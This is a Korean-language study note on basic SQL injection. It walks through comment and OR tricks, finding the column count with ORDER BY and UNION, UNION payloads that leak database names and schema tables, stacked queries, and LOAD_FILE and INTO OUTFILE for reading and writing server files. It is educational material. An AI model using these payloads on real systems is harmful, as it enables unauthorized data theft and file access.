Basic SQL injection
Note
- 마지막에 짝이 안맞는
'
가 있으면 query가 실행되지 않는다.- 짝을 맞춰주거나
- 주석처리 해주거나
- escape 해주어야 한다.
SELECT
가 아니라INSERT, UPDATE, DELETE
등이어도 injection 가능하다. 단,UPDATE
내부에 sub query로sql SELECT
를 사용할 때UPDATE
대상 database와sql SELECT
대상 database가 같다면 아무것도 조회되지 않는다.
&& ||
AND / OR
는 공백 넣어주어야 하고,&& / ||
는 공백 없어도 된다.- 공백이 없어도
'
로 감싸면 문자열로 인식하기 때문에''or''
같이 사용하는 것은 가능하다. 이 외에or1
같이 쓰면 에러난다. - 숫자형 변수는
WHERE
절에서 ` ‘로 감싸지 않기 때문에,
‘를 써주지 않아도 된다. 이 때
‘0’처럼 감싸서 넘겨도 받는게 숫자형이면 숫자형
0`으로 인식한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
select \* from sqlinj\_test where no=1 || 0;
no=1 row
select \* from sqlinj\_test where no=3 || 0;
Empty set (0.00 sec) no=3 entry가 없음.
SELECT \* FROM sqlinj\_test WHERE no=3 or 1;
all rows
SELECT \* FROM sqlinj\_test WHERE no=3 or 9999;
all rows
SQL은 전체 row에서 조건에 맞는 row들만 추려나가는 방식으로 동작한다.
아래 설명은 n이 완전한 True/False일 때 라는 점에 유의.
OR ||
no=... or n
에서
n == True
이면WHERE True
(참일 때는 참으로 반환되는 rows가 추가된다고 생각.)
n == False
이면WHERE no=...
(거짓일 때는 거짓인 부분이 없다고 생각.)
이 처럼A or B
는 A와 B 각각을 조건으로 실행한 query의 결과의 합집합 을 반환한다고 생각하는 것이 좋다.
AND &&
no=... and n
에서
n == True
이면WHERE no=...
n == False
이면WHERE False
이 처럼A and B
는 A와 B 각각을 조건으로 실행한 query의 결과의 교집합 만 반환한다고 생각하는 것이 좋다.
Basic
1
$select\_sql = "SELECT \* FROM blind\_test WHERE id= '$id' and pw = '$pw'";
다음과 같은 쿼리문에 대해서, id로 umbum'#
을 적어 보내면, 다음과 같이 출력된다. * 그냥 umbum#
을 적어 보내면 WHERE id= 'umbum#' and ...
이 되어 #
이 id의 일부로 인식된다.
1
2
3
4
5
6
7
8
9
SELECT \* FROM blind\_test WHERE id= 'umbum'#' and pw = ''
Array
(
[0] => Array
(
[0] => umbum
[1] => 123qwe
)
)
' or 1 #
도 가능하며, 이 경우 pw와 id 순서가 어떻든 sql and
가 먼저 실행되기 때문에 아래 경우 같은 결과가 나온다.
1
2
SELECT \* FROM blind\_test WHERE pw = ''or 1 #' and id= 'umbum'
SELECT \* FROM blind\_test WHERE pw = '' and id= '' or 1 #'
주석을 사용할 수 없을 때
query가 INSERT, UPDATE
문일 경우 뒤에 있는 column을 모두 주석 처리 해버리면 제대로 실행되지 않기 때문에 뒷부분을 제대로 채워주어야 하는 경우가 있다. 이러한 상황에서 query의 뒷부분을 예상할 수 없을 때는 주석을 사용하는 것 보다 그냥 'or'
를 사용하는 것을 고려해보면 좋다.
1
SELECT \* FROM sqlinj\_test WHERE id= 'umbum'or'' and pw = '';
Classic SQL Injection
쿼리가 성공했을 때와 실패했을 때 를 구분할 수 있으면 사용할 수 있다. * 쿼리가 실패했을 때 꼭 Error를 반환할 필요는 없다. * Blind는 쿼리가 참일 때와 거짓일 때 를 구분할 수 있으면 사용할 수 있다.
query에서 요청하는 column 개수 파악하기
order by N
은 N
번째 column으로 정렬하라는 의미이다.
1
2
3
4
' order by 1 #
' order by 2 #
...
' order by N # // Error or Fail
column 개수는 N-1
개다.
UNION
query에 포함된 column 개수를 파악하는데 UNION
을 사용할 수도 있다. * UNION
으로 결합하는 두 SELECT
의 column 개수는 동일해야만 한다는 점을 이용한다.
1
2
3
4
' union SELECT null # // Error or Fail
' union SELECT null, null # // Success
' union SELECT null, null, null # // Error or Fail
' union SELECT 0, 0, 0 from tbl\_name -- // 쿼리에 따라 tbl\_name 적어줘야 하는 경우가 있음.
column 개수는 2
개다.
DB leak 추가적인 tuple로 반환된다.
1
2
3
' union SELECT database(), version() #
' union SELECT table\_name, table\_schema FROM information\_schema.tables #
' union SELECT column\_name, column\_type FROM information\_schema.columns WHERE table\_name='sqlinj\_test' #
Stacked queries
;
를 사용할 수 있다면 뒤에 새로운 쿼리를 붙여 실행할 수 있다. 특히 Declare variables를 우회 또는 동적 쿼리 실행에 이용할 수 있으므로 참고.
1
2
1; INSERT INTO ...
1; set @var=value # Declare variables
LOAD_FILE()
서버 설정에 따라 안될 수도 있다.
1
' union SELECT null, LOAD\_FILE('/etc/hosts') #
INTO OUTFILE
1
INTO OUTFILE "output\_file\_path"